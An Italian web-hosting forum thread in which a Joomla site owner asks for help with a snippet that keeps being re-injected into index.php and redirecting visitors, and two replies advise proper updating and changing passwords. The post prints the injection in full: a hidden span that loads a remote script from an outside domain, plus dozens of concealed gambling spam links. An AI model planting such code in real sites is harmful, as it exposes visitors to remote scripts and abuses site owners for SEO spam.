Visualizzazione risultati 1 fino 3 di 3

Discussione: Codice malevole nel file index.php

  1. #1
    myexamreview non Ŕ connesso Neofita
    Data registrazione
    03-08-2015
    Messaggi
    10

    Exclamation Codice malevole nel file index.php

    Ciao a tutti, ho bisogno di un aiuto relativo alla presenza di codice malevolo nel file index.php, che si autorigenera anche dopo averlo cancellato.

    Da diversi mesi il mio sito Ŕ soggetto a inserzione di codice o file malevoli, che non ne permette la visualizzazione o ne induce il reindirizzamento su altri siti. Con pazienza, ho pulito tramite ftp tutti i file sospetti. Tuttavia, persiste la presenza di un codice, nel file index.php, che mi reindirizza a siti giapponesi - pseudopornografici - di acquisti online. Se cancello la riga del file index, il sito torna funzionale e visualizzabile. Tuttavia, temo che da qualche parte vi sia un comando che permette, ogni 48 ore circa, la riscrittura del codice, che mi obbliga continuamente a modificare il file index perchŔ il sito continui ad essere visualizzato.

    Ho provato ad aggiornare joomla all'ultima versione. Per un codice di errore finale, non riesco a fare l'aggiornamento automatico, e all'aggiornamento tramite ftp, che va a buon fine, non riesco tuttavia a visualizzare il sito credo per un errore di incompatibilitÓ tra l'ultima versione installata di joomla e il template del sito.

    Per cui, ho la versione di joomla 3.7.5 Stable di agosto 2017.
    Il sito Ŕ www.myexamreview.altervista.org

    Il codice malevolo che si inserisce nel file index.php, e cancellato il quale riesco a visualizzare il sito, Ŕ il seguente:

    <span class="mylinkcode" style="display:none"><script src="http://www.788555.vip/4.js" rel=&#x2019;external nofollow&#x2019;></script><!-------------------------&#x672C;&#x7AD9;&#x53CB;&#x60C5;&#x94FE;&#x63A5;&# xFF0C;&#x8BF7;&#x52FF;&#x5220;&#x9664;------------------------><div style="display:none"><strong style="font-weight: 400">&#x53CB;&#x60C5;&#x94FE;&#x63A5;:<a href="http://www.qhdjrfw.com/">&#x6FB3;&#x95E8;&#x7F51;&#x7EDC;&#x8D4C;&#x535A; &#x7F51;&#x5740;</a><a href="http://qhdjrfw.com/">&#x6FB3;&#x95E8;&#x7F51;&#x4E0A;&#x8D4C;&#x535A; &#x7F51;&#x7AD9;</a><a href="http://www.wanbaoguanggao.com/">&#x5F00;&#x6237;&#x8D4C;&#x535A;&#x7F51;</a><a href="http://www.gzbowin.com/">&#x6FB3;&#x95E8;&#x5728;&#x7EBF;&#x8D4C;&#x573A; &#x7F51;&#x5740;</a><a href="http://gzbowin.com/">&#x6FB3;&#x95E8;&#x8D4C;&#x535A;&#x6E38;&#x620F; &#x7F51;&#x5740;</a><a href="http://www.hnweirong.com/">&#x6FB3;&#x95E8;&#x8D4C;&#x535A;&#x5E73;&#x53F0; &#x7F51;&#x5740;</a><a href="http://hnweirong.com/">&#x7F51;&#x4E0A;&#x65B0;&#x8461;&#x4EAC;</a><a href="http://357w.com/">&#x7EBF;&#x4E0A;&#x8D4C;&#x535A;&#x5F00;&#x6237; </a><a href="http://toyuele.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x4F1A; &#x5B98;&#x7F51;</a><a href="http://www.ou-te.com/">&#x91D1;&#x6C99;&#x5B98;&#x65B9;&#x7F51;&#x5740; </a><a href="http://ou-te.com/">&#x6FB3;&#x95E8;&#x7F51;&#x4E0A;&#x8D4C;&#x573A; &#x7F51;&#x5740;</a><a href="http://www.qifenge.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5B98; &#x7F51;&#x591A;&#x5C11;</a><a href="http://qifenge.com/">&#x6FB3;&#x95E8;&#x91D1;&#x6C99;&#x771F;&#x4EBA; &#x5B98;&#x7F51;</a><a href="http://www.gebreakers.com/">&#x6FB3;&#x95E8;&#x8D4C;&#x573A;&#x5B98;&#x65B9; &#x7F51;&#x7AD9;</a><a href="http://gebreakers.com/">&#x7EBF;&#x4E0A;&#x8D4C;&#x535A;&#x7F51;&#x5E73; &#x53F0;</a><a href="http://www.tcldy.com/">&#x65B0;&#x8461;&#x4EAC;&#x5B98;&#x7F51;&#x5BFC; &#x822A;</a><a href="http://tcldy.com/">&#x8461;&#x4EAC;&#x8D4C;&#x573A;&#x5B98;&#x65B9; &#x7F51;&#x7AD9;</a><a href="http://www.hsghxj.com/">&#x7EBF;&#x4E0A;&#x5A31;&#x4E50;&#x573A;&#x7F51; &#x7AD9;</a><a href="http://hsghxj.com/">&#x5927;&#x767C;888&#x771F;&#x4EBA;&#x5A31;&#x4E 50;&#x573A;&#x624B;&#x673A;&#x5B98;&#x7F51;</a><a href="http://www.jabanjia.com/">&#x6FB3;&#x95E8;&#x91D1;&#x6C99;&#x5B98;&#x7F51; &#x5E73;&#x53F0;</a><a href="http://mengshan88.com/">&#x8D4C;&#x535A;&#x7F51;&#x7AD9;&#x5F00;&#x6237; </a><a href="http://b2light.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x8D4C;&#x573A; &#x4E0A;&#x7F51;&#x5BFC;&#x822A;</a><a href="http://www.xiangjiangtaiqiu.com/">&#x6FB3;&#x95E8;&#x91D1;&#x6C99;&#x5B98;&#x65B9; &#x7F51;&#x5740;</a><a href="http://xiangjiangtaiqiu.com/">&#x7F51;&#x4E0A;&#x8D4C;&#x573A;&#x5B98;&#x7F51; </a><a href="http://www.henangt.com/">&#x6FB3;&#x95E8;&#x6C38;&#x5229;&#x8D4C;&#x573A; &#x5E73;&#x53F0;</a><a href="http://www.jrcygl.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5728; &#x7EBF;&#x5B98;&#x65B9;&#x7F51;&#x5740;</a><a href="http://jrcygl.com/">&#x771F;&#x4EBA;&#x8D4C;&#x94B1;&#x6E38;&#x620F; &#x5E73;&#x53F0;</a><a href="http://www.dyjpjm.com/">&#x7535;&#x5B50;&#x6E38;&#x827A;&#x8D4C;&#x573A; &#x5E73;&#x53F0;&#x7F51;&#x5740;</a><a href="http://dyjpjm.com/">&#x65B0;&#x8461;&#x4EAC;&#x8D4C;&#x573A;&#x5B98; &#x7F51;</a><a href="http://www.xxswsj.com/">&#x7F51;&#x4E0A;&#x5728;&#x7EBF;&#x8D4C;&#x535A; &#x7F51;&#x5740;</a><a href="http://www.nbhxpm.com/">&#x5927;&#x53D1;888&#x7F51;&#x4E0A;&#x5A31;&#x4E 50;&#x573A;</a><a href="http://nbhxpm.com/">&#x6700;&#x65B0;&#x8D4C;&#x535A;&#x7F51;&#x7AD9; </a><a href="http://www.szbxzs.com/">&#x65B0;&#x8461;&#x4EAC;&#x771F;&#x4EBA;&#x8D4C; &#x535A;&#x5B98;&#x7F51;</a><a href="http://www.gg-tour.com/">&#x65B0;&#x8461;&#x4EAC;&#x8D4C;&#x535A;&#x7F51; &#x7AD9;&#x7F51;&#x5740;</a><a href="http://www.dvjmix.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5BFC; &#x822A;</a><a href="http://dvjmix.com/">&#x8461;&#x4EAC;&#x7F51;&#x4E0A;&#x5A31;&#x4E50; &#x573A;&#x5B98;&#x7F51;</a><a href="http://www.xalzzm.com/">&#x5927;&#x53D1;&#x771F;&#x4EBA;&#x5A31;&#x4E50; &#x573A;&#x7F51;&#x5740;</a><a href="http://www.mhgyp.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x7F8E;&#x5973; </a><a href="http://mhgyp.com/">&#x6C38;&#x5229;&#x8D4C;&#x535A;&#x7F51;&#x7AD9; &#x5927;&#x5168;</a><a href="http://www.hydfz.com/">&#x6FB3;&#x95E8;&#x8D4C;&#x573A;&#x65B0;&#x8461; &#x4EAC;&#x7F51;&#x7AD9;</a><a href="http://www.gzrsdz.com/">&#x6FB3;&#x95E8;&#x7F51;&#x4E0A;&#x8D4C;&#x535A; &#x7F51;&#x5740;</a><a href="http://gzrsdz.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5A31; &#x4E50;&#x5F00;&#x6237;</a><a href="http://www.huarangas.com/">&#x65B0;&#x8461;&#x4EAC;&#x7EBF;&#x8DEF;&#x68C0; &#x6D4B;&#x4E2D;&#x5FC3;</a><a href="http://huarangas.com/">&#x65B0;&#x8461;&#x4EAC;&#x624B;&#x673A;&#x5F00; &#x6237;</a><a href="http://www.ycwwly.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x54EA; &#x91CC;&#x5F00;&#x6237;</a><a href="http://ycwwly.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x5B98;&#x65B9; &#x7F51;&#x5740;</a><a href="http://www.yc13z.com/">&#x6FB3;&#x95E8;&#x5F00;&#x6237;&#x7F51;&#x7AD9; </a><a href="http://yc13z.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x5B98;&#x7F51; &#x7F51;&#x5740;</a><a href="http://www.513lg.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x68CB;&#x724C; </a><a href="http://513lg.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5A31; &#x4E50;&#x7F51;&#x7AD9;</a><a href="http://www.lwsjxx.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x96C6; &#x56E2;&#x603B;&#x90E8;</a><a href="http://lwsjxx.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x5A31;&#x4E50; &#x7F51;&#x7AD9;</a><a href="http://www.hnhtkj.net/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x96C6;&#x56E2; </a><a href="http://51cgj.com/">&#x65B0;&#x8461;&#x4EAC;&#x7F51;&#x7AD9;&#x5A31; &#x4E50;</a><a href="http://www.gy-zgsh.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x5A31;&#x4E50; &#x5B98;&#x65B9;&#x7F51;&#x7AD9;</a><a href="http://www.bhhzdx.net/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x6E38;&#x620F; &#x5B98;&#x7F51;</a><a href="http://www.fsgfhh.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5730; &#x5740;</a><a href="http://fsgfhh.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5728; &#x54EA;&#x5F00;&#x6237;</a><a href="http://www.dl20gz.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x6E38; &#x620F;&#x7F51;&#x7AD9;</a><a href="http://dl20gz.com/">&#x65B0;&#x8461;&#x4EAC;&#x68CB;&#x724C;&#x5A31; &#x4E50;&#x5B98;&#x7F51;</a><a href="http://www.zhenaihunsha.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x7F51;&#x5F00; &#x6237;</a><a href="http://travelcq.com/">&#x8461;&#x4EAC;&#x56FD;&#x9645;&#x5B98;&#x7F51; </a><a href="http://www.chenjiagou.cc/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5B98; &#x65B9;&#x5A31;&#x4E50;</a><a href="http://www.sxczzx.com/">&#x65B0;&#x8461;&#x4EAC;&#x6E38;&#x620F;&#x5F00; &#x6237;</a><a href="http://www.lscjzx.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x5B98;&#x7F51; &#x7F51;&#x5740;&#x662F;&#x4EC0;&#x4E48;</a><a href="http://www.jktjzx.com/">&#x6FB3;&#x95E8;&#x8461;&#x4EAC;&#x7F51;&#x4E0A; &#x5A31;&#x4E50;</a><a href="http://www.zgjjsw.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x7F51; &#x5740;&#x5927;&#x5168;</a><a href="http://zgjjsw.com/">&#x6FB3;&#x95E8;&#x65B0;&#x8461;&#x4EAC;&#x5B98; &#x7F51;&#x5F00;&#x6237;</a></strong></div><!-------------------------&#x672C;&#x7AD9;&#x53CB;&#x60C5;&#x94FE;&#x63A5;&# xFF0C;&#x8BF7;&#x52FF;&#x5220;&#x9664;------------------------></span><span class="mylinkcode"><marquee height=1 width=5 scrollamount=3000 scrolldelay=20000><a href="http://www.google.com">google.com</a><a href="http://www.aol.com">aol</a><a href="http://www.amazon.com">amazon</a><a href="http://www.yahoo.com">yahoo.com</a><a href="http://www.baidu.com">baidu.com</a></marquee></span><?php
    Sapete come aiutarmi? Oppure, sapete indirizzarmi a qualche software/societÓ che - a prezzo contenuto - riesca a dare una pulizia al codice del sito?

    Grazie in anticipo
    Ultima modifica di myexamreview : 12-11-2017 alle ore 14.16.46

  2. #2
    L'avatar di RedWebSite
    RedWebSite non Ŕ connesso AlterGuru
    Data registrazione
    02-05-2007
    Messaggi
    1,009

    Predefinito

    Ciao, per aggiornare joomla non si puo piu utilizzare il "metodo FTP" segui quello che c'Ŕ scritto in questo articolo http://alterjoomla.altervista.org/ne...ltervista.html

    EDIT: Mi raccomando cambia tutte le password, di joomla e di altervista!
    Ultima modifica di RedWebSite : 13-11-2017 alle ore 10.17.42
    alterjoomla sito web dedicato a joomla ed altervista - Tante guide per joomla anche su RedWebSite
    "C'Ŕ una fondamentale differenza tra la religione, che Ŕ basata sull'autoritÓ, e la scienza, che Ŕ basata su osservazione e ragionamento. E la scienza vincerÓ perchÚ funziona."

  3. #3
    karl94 non Ŕ connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,415

    Predefinito

    Se anche dopo che lo rimuovi ricompare significa che ci sono altri file compromessi sul tuo spazio web o che le tue credenziali sono state compromesse.

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •